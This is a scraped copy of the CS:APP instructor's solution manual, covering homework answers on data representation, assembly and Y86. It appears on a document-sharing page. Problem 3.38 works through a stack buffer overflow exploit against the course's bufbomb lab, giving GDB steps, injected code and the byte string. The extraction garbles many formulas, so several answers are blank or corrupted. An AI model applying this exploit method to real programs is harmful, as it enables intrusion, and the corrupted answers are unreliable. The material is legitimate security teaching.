版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報或認(rèn)領(lǐng)
文檔簡介
深入理解計算機系統(tǒng)
第二版
習(xí)題答案
Computer
Systems:
A
Programmer’s
Perspective
Instructor’s
Solution
Manual
1
Randal
E.
Bryant
David
R.
O’Hallaron
December
4,
2003
1
Copyright
c
2003,
R.
E.
Bryant,
D.
R.
O’Hallaron.
All
rights
reserved.
Chapter
1
Solutions
to
Homework
Problems
The
text
uses
two
different
kinds
of
exercises:
Practice
Problems.
These
are
problems
that
are
incorporated
directly
into
the
text,
with
explanatory
solutions
at
the
end
of
each
chapter.
Our
intention
is
that
students
will
work
on
these
problems
as
they
read
the
book.
Each
one
highlights
some
particular
concept.
Homework
Problems.
These
are
found
at
the
end
of
each
chapter.
They
vary
in
complexity
from
simple
drills
to
multi-week
labs
and
are
designed
for
instructors
to
give
as
assignments
or
to
use
as
recitation
examples.
This
document
gives
the
solutions
to
the
homework
problems.
1.1 Chapter
1:
A
Tour
of
Computer
Systems
1.2 Chapter
2:
Representing
and
Manipulating
Information
Problem
2.40
Solution:
This
exercise
should
be
a
straightforward
variation
on
the
existing
code.
code/data/show-ans.c
1
void
show_short(short
int
x)
2
{
3 show_bytes((byte_pointer)
&x,
sizeof(short
int));
4
}
5
6
void
show_long(long
int
x)
7
{
8 show_bytes((byte_pointer)
&x,
sizeof(long));
9
}
1
2 CHAPTER
1.
SOLUTIONS
TO
HOMEWORK
PROBLEMS
10
11
void
show_double(double
x)
12
{
13 show_bytes((byte_pointer)
&x,
sizeof(double));
14
}
code/data/show-ans.c
Problem
2.41
Solution:
There
are
many
ways
to
solve
this
problem.
The
basic
idea
is
to
create
some
multibyte
datum
with
different
values
for
the
most
and
least-signi?cant
bytes.
We
then
read
byte
0
and
determine
which
byte
it
is.
In
the
following
solution
is
to
create
an
int
with
value
1.
We
then
access
its
?rst
byte
and
convert
it
to
an
int.
This
byte
will
equal
0
on
a
big-endian
machine
and
1
on
a
little-endian
machine.
code/data/show-ans.c
1
int
is_little_endian(void)
2
{
3 /*
MSB
=
0,
LSB
=
1
*/
4 int
x
=
1;
5
6 /*
Return
MSB
when
big-endian,
LSB
when
little-endian
*/
7 return
(int)
(*
(char
*)
&x);
8
}
code/data/show-ans.c
Problem
2.42
Solution:
This
is
a
simple
exercise
in
masking
and
bit
manipulation.
It
is
important
to
mention
that
?0xFF
is
a
way
to
generate
a
mask
that
selects
all
but
the
least
signi?cant
byte
that
works
for
any
word
size.
(x
&
0xFF)
|
(y
&
?0xFF)
Problem
2.43
Solution:
These
exercises
require
thinking
about
the
logical
operation
!
in
a
nontraditional
way.
Normally
we
think
of
it
as
logical
negation.
More
generally,
it
detects
whether
there
is
any
nonzero
bit
in
a
word.
A.
!!x
B.
!!?x
C.
!!(x
&
0xFF)
D.
!!(?x
&
0xFF)
Problem
2.44
Solution:
1.2.
CHAPTER
2:
REPRESENTING
AND
MANIPULATING
INFORMATION 3
There
are
many
solutions
to
this
problem,
but
it
is
a
little
bit
tricky
to
write
one
that
works
for
any
word
size.
Here
is
our
solution:
code/data/shift-ans.c
1
int
int_shifts_are_arithmetic()
2
{
3 int
x
=
?0;
/*
All
1’s
*/
4
5 return
(x
>>
1)
==
x;
6
}
code/data/shift-ans.c
The
above
code
peforms
a
right
shift
of
a
word
in
which
all
bits
are
set
to
1.
If
the
shift
is
arithmetic,
the
resulting
word
will
still
have
all
bits
set
to
1.
Problem
2.45
Solution:
This
problem
illustrates
some
of
the
challenges
of
writing
portable
code.
The
fact
that
1<<32
yields
0
on
some
32-bit
machines
and
1
on
others
is
common
source
of
bugs.
A.
The
C
standard
does
not
de?ne
the
effect
of
a
shift
by
32
of
a
32-bit
datum.
On
the
SPARC
(and
many
other
machines),
the
expression
x
<<
k
shifts
by ,
i.e.,
it
ignores
all
but
the
least
signi?cant
5
bits
of
the
shift
amount.
Thus,
the
expression
1
<<
32
yields
1.
B.
Compute
beyond_msb
as
2
<<
31.
C.
We
cannot
shift
by
more
than
15
bits
at
a
time,
but
we
can
compose
multiple
shifts
to
get
the
desired
effect. Thus,
we
can
compute
set_msb
as
2
<<
15
<<
15,
and
beyond_msb
as
set_msb
<<
1.
Problem
2.46
Solution:
This
problem
highlights
the
difference
between
zero
extension
and
sign
extension.
It
also
provides
an
excuse
to
show
an
interesting
trick
that
compilers
often
use
to
use
shifting
to
perform
masking
and
sign
extension.
A.
The
function
does
not
perform
any
sign
extension.
For
example,
if
we
attempt
to
extract
byte
0
from
word
0xFF,
we
will
get
255,
rather
than .
B.
The
following
code
uses
a
well-known
trick
for
using
shifts
to
isolate
a
particular
range
of
bits
and
to
perform
sign
extension
at
the
same
time.
First,
we
perform
a
left
shift
so
that
the
most
signi?cant
bit
of
the
desired
byte
is
at
bit
position
31.
Then
we
right
shift
by
24,
moving
the
byte
into
the
proper
position
and
peforming
sign
extension
at
the
same
time.
code/data/xbyte.c
1
int
xbyte(packed_t
word,
int
bytenum)
2
{
4 CHAPTER
1.
SOLUTIONS
TO
HOMEWORK
PROBLEMS
3 int
left
=
word
<<
((3-bytenum)
<<
3);
4 return
left
>>
24;
5
}
code/data/xbyte.c
Problem
2.47
Solution:
? ?
Problem
2.48
Solution:
This
problem
lets
students
rework
the
proof
that
complement
plus
increment
performs
negation.
We
make
use
of
the
property
that
two’s
complement
addition
is
associative,
commutative,
and
has
additive
inverses.
Using
C
notation,
if
we
de?ne
y
to
be
x-1,
then
we
have
?y+1
equal
to
-y,
and
hence
?y
equals
-y+1.
Substituting
gives
the
expression
-(x-1)+1,
which
equals
-x.
Problem
2.49
Solution:
This
problem
requires
a
fairly
deep
understanding
of
two’s
complement
arithmetic.
Some
machines
only
provide
one
form
of
multiplication,
and
hence
the
trick
shown
in
the
code
here
is
actually
required
to
perform
that
actual
form.
As
seen
in
Equation
2.16
we
have .
The
?nal
term
has
no
effect
on
the -bit
representation
of ,
but
the
middle
term
represents
a
correction
factor
that
must
be
added
to
the
high
order bits.
This
is
implemented
as
follows:
code/data/uhp-ans.c
1
unsigned
unsigned_high_prod(unsigned
x,
unsigned
y)
2
{
3 unsigned
p
=
(unsigned)
signed_high_prod((int)
x,
(int)
y);
4
5 if
((int)
x
<
0)
/*
x_{w-1}
=
1
*/
6 p
+=
y;
7 if
((int)
y
<
0)
/*
y_{w-1}
=
1
*/
8 p
+=
x;
9 return
p;
10
}
code/data/uhp-ans.c
Problem
2.50
Solution:
Patterns
of
the
kind
shown
here
frequently
appear
in
compiled
code.
1.2.
CHAPTER
2:
REPRESENTING
AND
MANIPULATING
INFORMATION 5
A. :
x
+
(x
<<
2)
B. :
x
+
(x
<<
3)
C. :
(x
<<
4)
-
(x<<1)
D. :
(x
<<
3)
-
(x
<<
6)
Problem
2.51
Solution:
Bit
patterns
similar
to
these
arise
in
many
applications.
Many
programmers
provide
them
directly
in
hex-
adecimal,
but
it
would
be
better
if
they
could
express
them
in
more
abstract
ways.
A. .
?((1
<<
k)
-
1)
B. .
((1
<<
k)
-
1)
<<
j
Problem
2.52
Solution:
Byte
extraction
and
insertion
code
is
useful
in
many
contexts.
Being
able
to
write
this
sort
of
code
is
an
important
skill
to
foster.
code/data/rbyte-ans.c
1
unsigned
replace_byte
(unsigned
x,
int
i,
unsigned
char
b)
2
{
3 int
itimes8
=
i
<<
3;
4 unsigned
mask
=
0xFF
<<
itimes8;
5
6 return
(x
&
?mask)
|
(b
<<
itimes8);
7
}
code/data/rbyte-ans.c
Problem
2.53
Solution:
These
problems
are
fairly
tricky.
They
require
generating
masks
based
on
the
shift
amounts.
Shift
value
k
equal
to
0
must
be
handled
as
a
special
case,
since
otherwise
we
would
be
generating
the
mask
by
performing
a
left
shift
by
32.
code/data/rshift-ans.c
6 CHAPTER
1.
SOLUTIONS
TO
HOMEWORK
PROBLEMS
1
unsigned
srl(unsigned
x,
int
k)
2
{
3 /*
Perform
shift
arithmetically
*/
4 unsigned
xsra
=
(int)
x
>>
k;
5 /*
Make
mask
of
low
order
32-k
bits
*/
6 unsigned
mask
=
k
?
((1
<<
(32-k))
-
1)
:
?0;
7
8 return
xsra
&
mask;
9
}
code/data/rshift-ans.c
code/data/rshift-ans.c
1
int
sra(int
x,
int
k)
2
{
3 /*
Perform
shift
logically
*/
4 int
xsrl
=
(unsigned)
x
>>
k;
5 /*
Make
mask
of
high
order
k
bits
*/
6 unsigned
mask
=
k
?
?((1
<<
(32-k))
-
1)
:
0;
7
8 return
(x
<
0)
?
mask
|
xsrl
:
xsrl;
9
}
code/data/rshift-ans.c
Problem
2.54
Solution:
These
“C
puzzle”
problems
are
a
great
way
to
motivate
students
to
think
about
the
properties
of
computer
arithmetic
from
a
programmer’s
perspective.
Our
standard
lecture
on
computer
arithmetic
starts
by
showing
a
set
of
C
puzzles.
We
then
go
over
the
answers
at
the
end.
A.
(x<y)
==
(-x>-y).
No,
Let
x
= .
B.
((x+y)<<4)
+
y-x
==
17*y+15*x.
Yes,
from
the
ring
properties
of
two’s
complement
arith-
metic.
C.
?x+?y
==
?(x+y).
No,
? ? ? .
D.
(int)
(ux-uy)
==
-(y-x).
Yes.
Due
to
the
isomorphism
between
two’s
complement
and
unsigned
arithmetic.
E.
((x
>>
1)
<<
1)
<=
x.
Yes.
Right
shift
rounds
toward
minus
in?nity.
Problem
2.55
Solution:
This
problem
helps
students
think
about
fractional
binary
representations.
A.
Letting denote
the
value
of
the
string,
we
can
see
that
shifting
the
binary
point positions
to
the
right
gives
a
string ,
which
has
numeric
value ,
and
also
value .
Equating
these
gives .
1.2.
CHAPTER
2:
REPRESENTING
AND
MANIPULATING
INFORMATION 7
B. (a)
For ,
we
have , , .
(b)
For ,
we
have , , .
(c)
For ,
we
have , , .
Problem
2.56
Solution:
This
problem
helps
students
appreciate
the
property
of
IEEE
?oating
point
that
the
relative
magnitude
of
two
numbers
can
be
determined
by
viewing
the
combination
of
exponent
and
fraction
as
an
unsigned
integer.
Only
the
signs
and
the
handling
of requires
special
consideration.
code/data/?oatge-ans.c
1
int
float_ge(float
x,
float
y)
2
{
3 unsigned
ux
=
f2u(x);
4 unsigned
uy
=
f2u(y);
5 unsigned
sx
=
ux
>>
31;
6 unsigned
sy
=
uy
>>
31;
7
8 return
9 (ux<<1
==
0
&&
uy<<1
==
0)
|| /*
Both
are
zero
*/
10 (!sx
&&
sy)
|| /*
x
>=
0,
y
< 0
*/
11 (!sx
&&
!sy
&&
ux
>=
uy)
|| /*
x
>=
0,
y
>=
0
*/
12 (sx
&&
sy
&&
ux
<=
uy); /*
x
< 0,
y
< 0
*/
13
}
code/data/?oatge-ans.c
Problem
2.57
Solution:
Exercises
such
as
this
help
students
understand
?oating
point
representations,
their
precision,
and
their
ranges.
A.
The
number will
have , , ,
and .
The
exponent
bits
will
be and
the
fraction
bits
will
be .
B.
The
largest
odd
integer
that
can
be
represented
exactly
will
have
a
binary
representation
consisting
of 1s.
It
will
have , , ,
and
a
value .
The
bit
representation
of
the
exponent
will
be
the
binary
representation
of
.
The
bit
representation
of
the
fraction
will
be .
C.
The
reciprocal
of
the
smallest
positive
normalized
value
will
have
value .
It
will
have
, ,
and .
The
bit
representation
of
the
exponent
will
be .
The
bit
representation
of
the
fraction
will
be .
Problem
2.58
Solution:
8 CHAPTER
1.
SOLUTIONS
TO
HOMEWORK
PROBLEMS
This
exercise
is
of
practical
value,
since
Intel-compatible
processors
perform
all
of
their
arithmetic
in
ex-
tended
precision.
It
is
interesting
to
see
how
adding
a
few
more
bits
to
the
exponent
greatly
increases
the
range
of
values
that
can
be
represented.
Description Extended
precision
Value Decimal
Smallest
denorm.
Smallest
norm.
Largest
norm.
Problem
2.59
Solution:
We
have
found
that
working
through
?oating
point
representations
for
small
word
sizes
is
very
instructive.
Problems
such
as
this
one
help
make
the
description
of
IEEE
?oating
point
more
concrete.
Description Hex
8000
Smallest
value 3F01
256 4700 —
Largest
denormalized 00FF
FF00 — — —
Number
with
hex
representation
3AA0 —
Problem
2.60
Solution:
This
problem
requires
students
to
think
of
the
relationship
between
int,
float,
and
double.
A.
(double)(float)
x
==
dx.
No.
Try
x
= .
Note
that
it
is
true
with
Linux/GCC,
since
it
uses
a
extended
precision
representation
for
both
double
and
float.
B.
dx
+
dy
==
(double)
(y+x).
No.
Let
x
=
y
= .
C.
dx
+
dy
+
dz
==
dz
+
dy
+
dx.
Yes.
Since
each
value
ranges
between and ,
their
sum
can
be
represented
exactly.
D.
dx
*
dy
*
dz
==
dz
*
dy
*
dx.
No.
Let
dx
= ,
dy= ,
dz
=
.
(Not
detected
with
Linux/gcc)
E.
dx
/
dx
==
dy
/
dy.
No.
Let
x
=
0,
y
=
1.
Problem
2.61
Solution:
This
problem
helps
students
understand
the
relation
between
the
different
categories
of
numbers.
Getting
all
of
the
cutoff
thresholds
correct
is
fairly
tricky.
Our
solution
?le
contains
testing
code.
code/data/fpwr2-ans.c
1.3.
CHAPTER
3:
MACHINE
LEVEL
REPRESENTATION
OF
C
PROGRAMS 9
1
/*
Compute
2**x
*/
2
float
fpwr2(int
x)
{
3
4 unsigned
exp,
sig;
5 unsigned
u;
6
7 if
(x
<
-149)
{
8 /*
Too
small. Return
0.0
*/
9 exp
=
0;
10 sig
=
0;
11 }
else
if
(x
<
-126)
{
12 /*
Denormalized
result
*/
13 exp
=
0;
14 sig
=
1
<<
(x
+
149);
15 }
else
if
(x
<
128)
{
16 /*
Normalized
result.
*/
17 exp
=
x
+
127;
18 sig
=
0;
19 }
else
{
20 /*
Too
big. Return
+oo
*/
21 exp
=
255;
22 sig
=
0;
23 }
24 u
=
exp
<<
23
|
sig;
25 return
u2f(u);
26
}
code/data/fpwr2-ans.c
Problem
2.62
Solution:
This
problem
requires
students
to
work
from
a
bit
representation
of
a
?oating
point
number
to
its
fractional
binary
representation.
A. .
B. .
C.
They
diverge
in
the
ninth
bit
to
the
right
of
the
binary
point.
1.3 Chapter
3:
Machine
Level
Representation
of
C
Programs
Problem
3.31
Solution:
This
is
an
example
of
a
problem
that
requires
students
to
reverse
engineer
actions
of
the
C
compiler.
We
have
found
that
reverse
engineering
is
a
good
way
to
learn
about
both
compilers
and
machine-level
programs.
10 CHAPTER
1.
SOLUTIONS
TO
HOMEWORK
PROBLEMS
int
decode2(int
x,
int
y,
int
z)
{
int
t1
=
y
-
z;
int
t2
=
x
*
t1;
int
t3
=
(t1
<<
31)
>>
31;
int
t4
=
t3
?
t2;
return
t4;
}
Problem
3.32
Solution:
This
code
example
demonstrates
one
of
the
pedagogical
challenges
of
using
a
compiler
to
generate
assembly
code
examples.
Seemingly
insigni?cant
changes
in
the
C
code
can
yield
very
different
results.
Of
course,
students
will
have
to
contend
with
this
property
as
work
with
machine-generated
assembly
code
anyhow.
They
will
need
to
be
able
to
decipher
many
different
code
patterns.
This
problem
encourages
them
to
think
in
abstract
terms
about
one
such
pattern.
The
following
is
an
annotated
version
of
the
assembly
code:
1 movl
8(%ebp),%edx x
2 movl
12(%ebp),%ecx y
3 movl
%edx,%eax
4 subl
%ecx,%eax result
=
x
-
y
5 cmpl
%ecx,%edx Compare
x:y
6 jge
.L3 if
>=
goto
done:
7 movl
%ecx,%eax
8 subl
%edx,%eax result
=
y
-
x
9
.L3: done:
A.
When ,
it
will
compute
?rst and
then .
When it
just
computes .
B.
The
code
for
then-statement
gets
executed
unconditionally. It
then
jumps
over
the
code
for
else-
statement
if
the
test
is
false.
C.
then-statement
t
=
test-expr;
if(t)
goto
done;
else-statement
done:
D.
The
code
in
then-statement
must
not
have
any
side
effects,
other
than
to
set
variables
that
are
also
set
in
else-statement.
1.3.
CHAPTER
3:
MACHINE
LEVEL
REPRESENTATION
OF
C
PROGRAMS 11
Problem
3.33
Solution:
This
problem
requires
students
to
reason
about
the
code
fragments
that
implement
the
different
branches
of
a
switch
statement.
For
this
code,
it
also
requires
understanding
different
forms
of
pointer
dereferencing.
A.
In
line
29,
register
%edx
is
copied
to
register
%eax
as
the
return
value.
From
this,
we
can
infer
that
%edx
holds
result.
B.
The
original
C
code
for
the
function
is
as
follows:
1
/*
Enumerated
type
creates
set
of
constants
numbered
0
and
upward
*/
2
typedef
enum
{MODE_A,
MODE_B,
MODE_C,
MODE_D,
MODE_E}
mode_t;
3
4
int
switch3(int
*p1,
int
*p2,
mode_t
action)
5
{
6 int
result
=
0;
7 switch(action)
{
8 case
MODE_A:
9 result
=
*p1;
10 *p1
=
*p2;
11 break;
12 case
MODE_B:
13 *p2
+=
*p1;
14 result
=
*p2;
15 break;
16 case
MODE_C:
17 *p2
=
15;
18 result
=
*p1;
19 break;
20 case
MODE_D:
21 *p2
=
*p1;
22 /*
Fall
Through
*/
23 case
MODE_E:
24 result
=
17;
25 break;
26 default:
27 result
=
-1;
28 }
29 return
result;
30
}
Problem
3.34
Solution:
This
problem
gives
students
practice
analyzing
disassembled
code.
The
switch
statement
contains
all
the
features
one
can
imagine—cases
with
multiple
labels,
holes
in
the
range
of
possible
case
values,
and
cases
that
fall
through.
code/asm/switchbody-ans.c
12 CHAPTER
1.
SOLUTIONS
TO
HOMEWORK
PROBLEMS
1
int
switch_prob(int
x)
2
{
3 int
result
=
x;
4
5 switch(x)
{
6 case
50:
7 case
52:
8 result
<<=
2;
9 break;
10 case
53:
11 result
>>=
2;
12 break;
13 case
54:
14 result
*=
3;
15 /*
Fall
through
*/
16 case
55:
17 result
*=
result;
18 /*
Fall
through
*/
19 default:
20 result
+=
10;
21 }
22
23 return
result;
24
}
code/asm/switchbody-ans.c
Problem
3.35
Solution:
This
example
illustrates
a
case
where
the
compiler
was
clever,
but
humans
can
be
more
clever.
Such
cases
are
not
unusual,
and
it
is
important
for
students
to
realize
that
compilers
do
not
always
generate
optimal
code.
In
the
following,
we
have
merged
variables
B
and
nTjPk
into
a
single
pointer
Bptr.
This
pointer
gets
incremented
by
n
(which
the
compiler
scales
by
4)
on
every
iteration.
code/asm/varprod-ans.c
1
int
var_prod_ele_opt
(var_matrix
A,
var_matrix
B,
int
i,
int
k,
int
n)
2
{
3 int
*Aptr
=
&A[i*n];
4 int
*Bptr
=
&B[k];
5 int
result
=
0;
6 int
cnt
=
n;
7
8 if
(n
<=
0)
9 return
result;
10
11 do
{
12 result
+=
(*Aptr)
*
(*Bptr);
13 Aptr
+=
1;
14 Bptr
+=
n;
15 cnt--;
1.3.
CHAPTER
3:
MACHINE
LEVEL
REPRESENTATION
OF
C
PROGRAMS 13
16 }
while
(cnt);
17
18 return
result;
19
}
code/asm/varprod-ans.c
Problem
3.36
Solution:
This
problem
requires
using
a
variety
of
skills
to
determine
parameters
of
the
structure.
One
tricky
part
is
that
the
values
are
not
computed
in
the
same
order
in
the
object
code
as
they
are
in
the
assembly
code.
The
analysis
requires
understanding
data
structure
layouts,
pointers,
address
computations,
and
performing
arithmetic
computations
using
shifts
and
adds.
Problems
such
as
this
one
make
good
exercises
for
in-class
discussion,
such
as
during
a
recitation
period.
Try
to
convince
students
that
these
are
“brain
teasers.”
The
answer
can
only
be
determined
by
assembling
a
number
of
different
clues.
Here
is
a
sequence
of
steps
that
leads
to
the
answer:
1.
Lines
5
to
8
compute
the
value
of
ap
as bp ,
where bp
is
the
value
of
pointer
bp.
From
this
we
can
infer
that
structure
a_struct
must
have
a
20-byte
allocation..
2.
Line
11
computes
the
expression
bp->right
using
a
displacement
of
184
(0xb8).
That
means
array
a
spans
from
bytes
4
to
184
of
b_struct,
implying
that
CNT
is .
3.
Line
9
appears
to
dereference
ap.
Actually,
it
is
computing
ap->idx,
since
?eld
idx
is
at
the
beginning
of
structure
a_struct.
4.
Line
10
scales
ap->idx
by
4,
and
line
13
stores
n
at
an
address
computed
by
adding
this
scaled
value,
ap,
and
4.
From
this
we
conclude
that
?eld
x
denotes
an
array
of
integers
that
follow
right
after
?eld
idx.
This
analysis
leads
us
to
the
following
answers:
A.
CNT
is
9.
B. code/asm/structprob-ans.c
1
typedef
struct
{
2 int
idx;
3 int
x[4];
4
}
a_struct;
code/asm/structprob-ans.c
Problem
3.37
Solution:
This
problem
gets
students
in
the
habit
of
writing
reliable
code.
As
a
general
principle,
code
should
not
be
vulnerable
to
conditions
over
which
it
has
no
control,
such
as
the
length
of
an
input
line.
The
following
implementation
uses
the
library
function
fgets
to
read
up
to
BUFSIZE
characters
at
a
time.
14 CHAPTER
1.
SOLUTIONS
TO
HOMEWORK
PROBLEMS
1
/*
Read
input
line
and
write
it
back
*/
2
/*
Code
will
work
for
any
buffer
size. Bigger
is
more
time-efficient
*/
3
#define
BUFSIZE
64
4
void
good_echo()
5
{
6 char
buf[BUFSIZE];
7 int
i;
8 while
(1)
{
9 if
(!fgets(buf,
BUFSIZE,
stdin))
10 return; /*
End
of
file
or
error
*/
11 /*
characters
in
buffer
*/
12 for
(i
=
0;
buf[i]
&&
buf[i]
!=
’\n’;
i++)
13 if
(putchar(buf[i])
==
EOF)
14 return;
/*
Error
*/
15 if
(buf[i]
==
’\n’)
{
16 /*
Reached
terminating
newline
*/
17 putchar(’\n’);
18 return;
19 }
20 }
21
}
An
alternative
implementation
is
to
use
getchar
to
read
the
characters
one
at
a
time.
Problem
3.38
Solution:
Successfully
mounting
a
buffer
over?ow
attack
requires
understanding
many
aspects
of
machine-level
pro-
grams.
It
is
quite
intriguing
that
by
supplying
a
string
to
one
function,
we
can
alter
the
behavior
of
another
function
that
should
always
return
a
?xed
value.
In
assigning
this
problem,
you
should
also
give
students
a
stern
lecture
about
ethical
computing
practices
and
dispell
any
notion
that
hacking
into
systems
is
a
desirable
or
even
acceptable
thing
to
do.
Our
solution
starts
by
disassembling
bufbomb,
giving
the
following
code
for
getbuf:
1
080484f4
<getbuf>:
2 80484f4: 55 push %ebp
3 80484f5: 89
e5 mov %esp,%ebp
4 80484f7: 83
ec
18 sub $0x18,%esp
5 80484fa: 83
c4
f4 add $0xfffffff4,%esp
6 80484fd: 8d
45
f4 lea 0xfffffff4(%ebp),%eax
7 8048500: 50 push %eax
8 8048501: e8
6a
ff
ff
ff call 8048470
<getxs>
9 8048506: b8
01
00
00
00 mov $0x1,%eax
10 804850b: 89
ec mov %ebp,%esp
11 804850d: 5d pop %ebp
12 804850e: c3 ret
13 804850f: 90 nop
We
can
see
on
line
6
that
the
address
of
buf
is
12
bytes
below
the
saved
value
of
%ebp,
which
is
4
bytes
below
the
return
address.
Our
strategy
then
is
to
push
a
string
that
contains
12
bytes
of
code,
the
saved
value
1.3.
CHAPTER
3:
MACHINE
LEVEL
REPRESENTATION
OF
C
PROGRAMS 15
of
%ebp,
and
the
address
of
the
start
of
the
buffer.
To
determine
the
relevant
values,
we
run
GDB
as
follows:
1.
First,
we
set
a
breakpoint
in
getbuf
and
run
the
program
to
that
point:
(gdb)
break
getbuf
(gdb)
run
Comparing
the
stopping
point
to
the
disassembly,
we
see
that
it
has
already
set
up
the
stack
frame.
2.
We
get
the
value
of
buf
by
computing
a
value
relative
to
%ebp:
(gdb)
/x
(%ebp
+
12)
This
gives
0xbfffefbc.
3.
We
?nd
the
saved
value
of
register
%ebp
by
dereferencing
the
current
value
of
this
register:
(gdb)
/x
*$ebp
This
gives
0xbfffefe8.
4.
We
?nd
the
value
of
the
return
pointer
on
the
stack,
at
offset
4
relative
to
%ebp:
(gdb)
/x
*((int
*)$ebp+1)
This
gives
0x8048528
We
can
now
put
this
information
together
to
generate
assembly
code
for
our
attack:
1 pushl
$
0x8048528 Put
correct
return
pointer
back
on
stack
2 movl
$0xdeadbeef,%eax Alter
return
value
3 ret Re-execute
return
4
.align
4 Round
up
to
12
5 .long
0xbfffefe8 Saved
value
of
%ebp
6 .long
0xbfffefbc Location
of
buf
7 .long
0x00000000 Padding
Note
that
we
have
used
the
.align
statement
to
get
the
assembler
to
insert
enough
extra
bytes
to
use
up
twelve
bytes
for
the
code.
We
added
an
extra
4
bytes
of
0s
at
the
end,
because
in
some
cases
OBJDUMP
would
not
generate
the
complete
byte
pattern
for
the
data.
These
extra
bytes
(plus
the
termininating
null
byte)
will
over?ow
into
the
stack
frame
for
test,
but
they
will
not
affect
the
program
behavior.
Assembling
this
code
and
disassembling
the
object
code
gives
us
the
following:
1 0: 68
28
85
04
08 push $0x8048528
2 5: b8
ef
be
ad
de mov $0xdeadbeef,%eax
3 a: c3 ret
4 b: 90 nop Byte
inserted
for
alignment.
5 c: e8
ef
ff
bf
bc call 0xbcc00000 Invalid
disassembly.
6 11: ef out %eax,(%dx) Trying
to
diassemble
7 12: ff (bad) data
8 13: bf
00
00
00
00 mov $0x0,%edi
16 CHAPTER
1.
SOLUTIONS
TO
HOMEWORK
PROBLEMS
From
this
we
can
read
off
the
byte
sequence:
68
28
85
04
08
b8
ef
be
ad
de
c3
90
e8
ef
ff
bf
bc
ef
ff
bf
00
00
00
00
Problem
3.39
Solution:
This
problem
is
a
variant
on
the
asm
examples
in
the
text.
The
code
is
actually
fairly
simple.
It
relies
on
the
fact
that
asm
outputs
can
be
arbitrary
lvalues,
and
hence
we
can
use
dest[0]
and
dest[1]
directly
in
the
output
list.
code/asm/asmprobs-ans.c
1
void
full_umul(unsigned
x,
unsigned
y,
unsigned
dest[])
2
{
3 asm("movl
%2,%%eax;
mull
%3;
movl
%%eax,%0;
movl
%%edx,%1"
4 :
"=r"
(dest[0]),
"=r"
(dest[1])
/*
Outputs
*/
5 :
"r" (x), "r" (y) /*
Inputs
*/
6 :
"%eax",
"%edx" /*
Clobbers
*/
7 );
8
}
code/asm/asmprobs-ans.c
Problem
3.40
Solution:
For
this
example,
students
essentially
have
to
write
the
entire
function
in
assembly.
There
is
no
(apparent)
way
to
interface
between
the
?oating
point
registers
and
the
C
code
using
extended
asm.
code/asm/fscale.c
1
/*
Compute
x
*
2?n. Relies
on
known
stack
positions
for
arguments
*/
2
void
scale(double
x,
int
n,
double
*dest)
3
{
4 /*
Insert
the
following
assembly
code
sequence:
5 fildl
16(%ebp) #
Convert
n
to
floating
point
and
push
6 fldl 8(%ebp) #
Push
x
7 fscale #
Compute
x
*
2?n
8 movl 20(%ebp) #
Get
dest
9 fstpl (%eax) #
Store
result
at
*dest
10 */
11 asm("fildl
16(%%ebp);
fldl
8(%%ebp);
fscale;
movl
20(%%ebp),%%eax;
12 fstpl
(%%eax);
fstp
%%st(0)"
13 :::
"%eax");
14
15
}
code/asm/fscale.c
1.4.
CHAPTER
4:
PROCESSOR
ARCHITECTURE 17
1.4 Chapter
4:
Processor
Architecture
Problem
4.32
Solution:
This
problem
makes
students
carefully
examine
the
tables
showing
the
computation
stages
for
the
different
instructions.
The
steps
for
iaddl
are
a
hybrid
of
those
for
irmovl
and
OPl.
Stage iaddl
V,
rB
Fetch icode:ifun M
PC
rA:rB M
PC
valC M
PC
valP PC
Decode
valB R
rB
Execute valE valB valC
Memory
Write
back R
rB valE
PC
update PC valP
Problem
4.33
Solution:
The
leave
instruction
is
fairly
obscure,
but
working
through
its
implementation
makes
it
easier
to
under-
tand
the
implementation
of
the
popl
instruction,
one
of
the
trickiest
of
the
Y86
instructions.
Stage leave
Fetch icode:ifun M
PC
valP PC
Decode valA R
valB R
Execute valE valB
Memory valM M
valA
Write
back R valE
R valM
PC
update PC valP
Problem
4.34
Solution:
The
following
HCL
code
includes
implementations
of
both
the
iaddl
instruction
and
the
leave
instruc-
tions.
The
implementations
are
fairly
straightforward
given
the
computation
steps
listed
in
the
solutions
to
problems
4.32
and
4.33.
You
can
test
the
solutions
using
the
test
code
in
the
ptest
subdirectory.
Make
sure
you
use
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 酒精儲存柜制度規(guī)范標(biāo)準(zhǔn)
- 賣場展品制度規(guī)范要求
- 進(jìn)一步規(guī)范談心談話制度
- 規(guī)范市委常委會會議制度
- 醫(yī)療設(shè)備報警制度規(guī)范
- 急診介入管理規(guī)范制度
- 嚴(yán)格監(jiān)督各項制度規(guī)范
- 學(xué)生食堂規(guī)范就餐制度
- 學(xué)校書寫規(guī)范規(guī)章制度
- 公司食堂報餐制度規(guī)范
- 兒童支氣管哮喘急性發(fā)作急救培訓(xùn)流程
- 2026年焊工(技師)考試題庫(附答案)
- 四川藏區(qū)高速公路集團(tuán)有限責(zé)任公司2026年校園招聘參考題庫完美版
- 基本醫(yī)療保險內(nèi)控制度
- 抽紙定制合同協(xié)議書
- 物料代購服務(wù)合同
- 2025-2026學(xué)年人教版小學(xué)音樂四年級上冊期末綜合測試卷及答案
- 高數(shù)上冊期末考試及答案
- 風(fēng)電場運維安全責(zé)任書2025年版
- 臘八蒜的課件
- 2025年70歲以上的老人三力測試題庫附答案
評論
0/150
提交評論